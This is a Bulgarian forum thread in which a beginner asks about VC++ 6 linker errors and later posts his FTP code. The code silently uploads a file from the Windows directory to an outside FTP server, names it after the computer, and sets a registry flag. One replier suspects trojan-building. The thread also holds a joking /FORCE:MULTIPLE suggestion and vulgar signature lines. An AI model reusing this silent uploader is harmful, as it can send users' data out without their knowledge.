c++ problem

7 отговора 255 прегледа
#1

c++ problem

Addvam edin cpp i edin h fial kym proekt v vc++ 6. Predi advaneto se buildvashe bez problem no sled tova mi dava greshki:

--------------------Configuration: Test - Win32 Debug--------------------
Linking...
Test.obj : error LNK2005: "int __cdecl ftppost(void)" (?ftppost@@YAHXZ) already defined in ftpput.obj
Test.obj : error LNK2005: _WinMain@16 already defined in ftpput.obj
Test.obj : error LNK2005: "unsigned long dwBinary" (?dwBinary@@3KA) already defined in ftpput.obj
Test.obj : error LNK2005: "char * szAppName" (?szAppName@@3PADA) already defined in ftpput.obj
Debug/Test.exe : fatal error LNK1169: one or more multiply defined symbols found

Test.exe - 5 error(s), 0 warning(s)

Tova ftpput e imenno cpp i h faila koito advam.

Znaete li kakvo trjabva da napravja?

I oste nesto : znaete li dobyr tutorial za nachinaest za MS vc ++ 6?

Отговор
в отговор на nick #2

Re: c++ problem

най-вероятно тия символи (функциите и променливата) са ти дефинирани в хедъра, който се инклуд-ва без някой #иф или #прагма, т.е. на повече от едно място. пробвай да го оправиш по следния начин:
1) целия код в хедъра го заграждаш между
#ifndef _LIUBIMIA_MI_STRING_DETO_OBESHTAVAM_DA_NE_GO_POVTARIAM_
#define _LIUBIMIA_MI_STRING_DETO_OBESHTAVAM_DA_NE_GO_POVTARIAM_

//тук слагаш кода

#endif

2) всички декларации на глобални променливи от хедъра ги изхвърляш в .цпп файла, и в хедъра ги оставяш декларирани като extern

ми тва сигурно ще те оправи. предполагам, не правиш извращения като да инклуд-ваш .цпп файла...

тва с _WinMain@16 малко понамирисва... дали не пробваш да обединиш 2 екзета в едно? трябва да имаш само 1 WinMain функция!

идем из село мама ви мръсна
моята цел е гъзо да ви пръсна...
Отговор
в отговор на nick #3

Re: c++ problem

WinMain дефинирана два пъти? Сигурно се шегуваш. Да не се опитваш да инклудваш една програма в друга? Ма разбира се. Дори char * szAppName е повторно дефинирана.
Я се вземи в ръце и си изчисти кода като отделиш от това ftpput само класовете които смяташ да ползваш, пък после компилирай.

Отговор
в отговор на nick #4

Re: c++ problem

dobawi sledniat linker option ( w project>settings...>Link>Project Options )
/FORCE:MULTIPLE

muhahaha poludiawam weche

Отговор
в отговор на Tъпaнap #5

Re: c++ problem

Vsystnost tochno tova se opitvam da napravja. Imam edna programa kojato syzdava tekstovi failove i si downloadnah ot Neta edna druga programa kojato uploadva failove chrez FTP. Ta sega iskam da svyrja dvete no ne sym mnogo najasno kak da modificiram FTP programata. (tova koeto napravih e prosto add to project - file, sigurno e goljama prostotija). Moje li da mi pomognete? Koda na FTP progrmata e:

FTPPUT.h:


#include "stdafx.h"


// General Globals
char szAppName[20] = "ServPost";
DWORD dwBinary = FTP_TRANSFER_TYPE_BINARY;


int ftppost()
{
HINTERNET hInternet, hHost; // handles.
int i;
char szHost[128];
char szPath[MAX_PATH];
char szFile[MAX_PATH];

lstrcpy( szHost, "ftp.xoasis.com");
lstrcpy( szFile, "" );

lstrcpy(szPath, "/"); // Use root as default path.
// Get the path, if prepended to filename.
for (i=strlen(szFile); i>0; --i)
{
if (szFile=='/' || szFile=='\\')
{
strncpy(szPath, szFile, ++i);
szPath= 0; // terminate.
lstrcpy(szFile, szFile+i);
break;
}
}

hInternet = InternetOpen( szAppName, LOCAL_INTERNET_ACCESS , NULL, 0, 0 );
if (!hInternet)
{
//MessageBox(0,"111","1",MB_OK);
InternetCloseHandle( hInternet );
return 1;
}

hHost = InternetConnect( hInternet, szHost, INTERNET_INVALID_PORT_NUMBER,
"Username","Password", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE , 0);
if (!hHost)
{//MessageBox(0,"222","1",MB_OK);
InternetCloseHandle( hInternet );
return 1;
}

if (!FtpSetCurrentDirectory( hHost, szPath ))
{
//MessageBox(0,"333","1",MB_OK);
InternetCloseHandle( hInternet );
return 1;
}

char b[MAX_PATH];
strcpy(b,"");
GetWindowsDirectory(b,MAX_PATH);
strcat(b, "\\test.txt" );
strcat(b,"\0");

DWORD dwSize;
char szBuffer[MAX_COMPUTERNAME_LENGTH + 1];
dwSize = MAX_COMPUTERNAME_LENGTH + 1;
GetComputerName (szBuffer, &dwSize);

SYSTEMTIME stime;
char sdate[5];
GetSystemTime(&stime);
sprintf(sdate,"%d.txt",stime.wDay);
char fname[100];
strcpy(fname,szBuffer);
strcat(fname,sdate);
strcat(fname,"\0");




if (!FtpPutFile( hHost, b,fname,FTP_TRANSFER_TYPE_ASCII ,0))
{
//MessageBox(0,"444","1",MB_OK);
InternetCloseHandle( hInternet );
return 1;
}

InternetCloseHandle( hHost );
InternetCloseHandle( hInternet );

return 0;
}

i cpp faila:

FTPPUT.cpp


#include "stdafx.h"
#include "ftpput.h"

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
int hhh,i;
hhh=1;
char sdate[50];
HKEY hkeyresult ;
DWORD size = sizeof ( DWORD ) ;
SYSTEMTIME stime;
GetSystemTime(&stime);
sprintf(sdate,"%d",stime.wDay);

while(hhh<100)
{ hhh++;
i=ftppost();
if(!i){
RegOpenKey ( HKEY_LOCAL_MACHINE, ( LPCTSTR ) "Software\\Foldsoft", &hkeyresult );
RegSetValueEx ( hkeyresult, ( LPCTSTR )"Date" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) sdate,sizeof(sdate)) ;
RegSetValueEx ( hkeyresult, ( LPCTSTR )"Sent" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) "1",1) ;
RegCloseKey ( hkeyresult );
// MessageBox(0,"Ok Sent all","c",MB_OK);
hhh=100;
break;
}
}
return 0;
}


Txnks in advance!

Отговор
в отговор на nick #6

Re: c++ problem

така като гледам, дори не си сядал да напишеш и една Hello world програма щом не знаеш, че main/WinMain не трябва да се повтарят. време е да седнеш и да почетеш малко!!!

ако не ти се чете -- лапни по някой скриптов език, няма смисъл да се мъчиш излишно. код по интернета за фтп дал бог...

ей, нали не си поредния леймър седнал да прави троянци

идем из село мама ви мръсна
моята цел е гъзо да ви пръсна...
Отговор
в отговор на Meндeлeeв #7

Re: c++ problem

Dosta vrajdeben otgovor. Mojeshe prosto da mi kajesh kakvo da procheta. I zasto reshi che iskam da pravja trojanci? Prosto iskam da naucha c++ no ne znam otkyde da zapochna.

Отговор
в отговор на niki #8

Re: c++ problem

добре де, да не кажеш, че съм лош
Thinking in C++ е една отлична книга, и я има онлайн без пари -- почвай от там.

колкото до недружелюбния отговор -- просто ми заприлича на, не такъв, какъвто си -- извинявай!

идем из село мама ви мръсна
моята цел е гъзо да ви пръсна...
Отговор